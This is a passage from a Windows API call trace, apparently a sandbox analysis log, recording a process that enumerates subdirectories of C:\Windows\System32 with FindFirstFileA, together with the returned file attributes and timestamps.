ftLastAccessTime.dwLowDateTime=0x286864c, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x286864c, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.527] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\fi-FI\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x288e7a6, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x288e7a6, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.551] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\fr-FR\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6a33c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x28daa5a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x28daa5a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.559] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\FxsTmp\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800df312, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800df312, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.564] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\GroupPolicy\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc74a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xfdc74a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9b71cdac, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.565] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\GroupPolicyUsers\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdc74a, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xfdc74a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x9b71cdac, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.567] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\he-IL\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2926d0e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2926d0e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.603] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\hr-HR\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2926d0e, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2926d0e, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.611] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\hu-HU\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x294ce68, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x294ce68, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.619] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\icsxml\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2972fc2, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2972fc2, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.624] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10028a4, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x104eb58, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x104eb58, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.624] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\IMEJP10\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10289fe, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8cf6a8b9, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8cf6a8b9, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.630] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\IMEJP10\\APPLETS\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10289fe, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x29bf276, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x29bf276, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.671] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\imekr8\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10289fe, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x29e53d0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x29e53d0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.672] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\imekr8\\applets\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10289fe, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x29bf276, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x29bf276, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.674] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\imekr8\\dicts\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10289fe, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x29bf276, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x29bf276, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.683] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\IMESC5\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8d2d685f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8d2d685f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.686] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\IMESC5\\applets\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x29e53d0, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x29e53d0, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.691] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\IMETC10\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8d07525b, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8d07525b, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.691] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\IMETC10\\applets\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.701] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\shared\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x8d1cbebd, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x8d1cbebd, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.706] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\IME\\shared\\res\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f610, dwReserved1=0x501556, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.713] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\inetsrv\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x104eb58, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xf40729a7, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.713] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501540, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0150.720] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x10c0f66, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x10c0f66, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f1284, cFileName=".", cAlternateFileName="")) returned 0x502598 [0150.723] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0003\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104eb58, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.725] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0005\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.727] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0006\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.730] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0007\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.731] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0008\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.733] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0009\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.735] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\000a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.738] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\000b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.740] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\000e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.742] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0010\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.744] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0011\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.756] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0012\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1074cb2, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.759] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0013\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.765] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0014\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.767] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0015\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.773] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\0019\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.776] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\001a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a0b52a, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a0b52a, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.779] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\001b\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.782] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\001d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0150.787] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\InstallShield\\setupdir\\001e\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x109ae0c, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x2a31684, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0x2a31684, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) 